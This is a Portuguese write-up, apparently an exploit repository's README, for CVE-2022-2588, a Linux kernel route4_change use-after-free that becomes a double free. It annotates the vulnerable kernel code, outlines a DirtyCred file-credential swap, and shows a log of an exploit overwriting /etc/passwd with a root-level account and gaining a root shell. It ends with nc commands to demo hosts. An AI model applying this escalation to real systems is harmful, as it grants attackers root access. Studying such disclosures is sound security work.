
Write-up detalhado e código de exploração para CVE-2022-2588, um uso-após-liberação no kernel Linux em route4_change que leva à escalada de privilégios via dupla-liberação e troca de credenciais.
O bug foi corrigido no Linux v5.19 por este commit.
O bug foi introduzido no Linux v3.17 por este commit em 2014. Requer User Namespaces para ser acionado. Esse bug é muito semelhante ao CVE-2021-3715, que foi causado por uma operação inadequada na lista encadeada de route4_filter. Mais detalhes sobre o CVE-2021-3715 podem ser encontrados na palestra do Blackhat (página 16). A seguir, alguns breves detalhes do CVE-2022-2588.
O seguinte mostra alguns trechos importantes de código da função route4_change para entender o CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
A função é implementada para inicializar/substituir o objeto route4_filter. O filtro usa handle como um identificador único para distinguir entre cada filtro. Se existir um handle que já foi inicializado antes (ou seja, a variável fold não é nula), ele atualizará o filtro removendo o antigo e adicionando um novo; caso contrário, apenas adicionará um novo filtro.
Em [0], o kernel aloca o objeto route4_filter. Em [1], se fold não estiver vazio, o que significa que existe um filtro com o mesmo handle, ele copiará algumas informações para o novo filtro e o inicializará em [2], então inserirá o novo filtro na lista em [3]. Se o filtro antigo existir, ele será removido da lista em [4] e liberado em [6].
O bug ocorre em [4], que verifica se existe um filtro antigo a ser removido. A condição garante que o handle não deve ser zero e deve coincidir com o handle do novo filtro. Essa condição não está alinhada com a condição de liberação do filtro em [6], que apenas verifica se o filtro antigo existe. Portanto, se os usuários criarem um filtro cujo handle seja 0 e depois acionarem a substituição, o filtro não será desvinculado em [4], mas será liberado em [6], já que suas condições não são as mesmas.
Como esse bug é semelhante ao CVE-2021-3715, seus primitivos são quase os mesmos. Os leitores podem consultar a palestra do Blackhat para uma descrição mais detalhada dos primitivos. Este artigo mostra a exploração com a ideia do DirtyCred.
Como o fold liberado ainda está na lista encadeada após acionar o bug, podemos liberar o fold novamente, o que eventualmente causará um double free no objeto route4_filter e no objeto route4_filter->exts.action se CONFIG_NET_CLS_ACT estiver ativado.
Os códigos de exploração utilizam essas duas capacidades de double free para demonstrar o ataque em credenciais de tarefa (utilizando double free em kmalloc-192, a ser implementado) e credenciais de arquivo aberto (utilizando double free em kmalloc-256).
Seguindo a ideia do DirtyCred, o código de exploração troca as credenciais do arquivo após as verificações de permissão, para que possamos escrever qualquer conteúdo em arquivos com permissão de leitura. Idealmente, o código pode funcionar em todas as versões do kernel afetadas pelo bug. Vale notar que, para garantir que o código funcione em kernels mais antigos onde msg_msg é isolado em kmalloc-rcl-*, a exploração usa um objeto de spray diferente.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
A exploração foi escrita para funcionar no maior número possível de distribuições. Foi confirmado seu funcionamento em:
(Sinta-se à vontade para enviar um PR para atualizar isso se descobrir que funciona em outros kernels.)
Por favor, faça login com o usuário low e senha low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338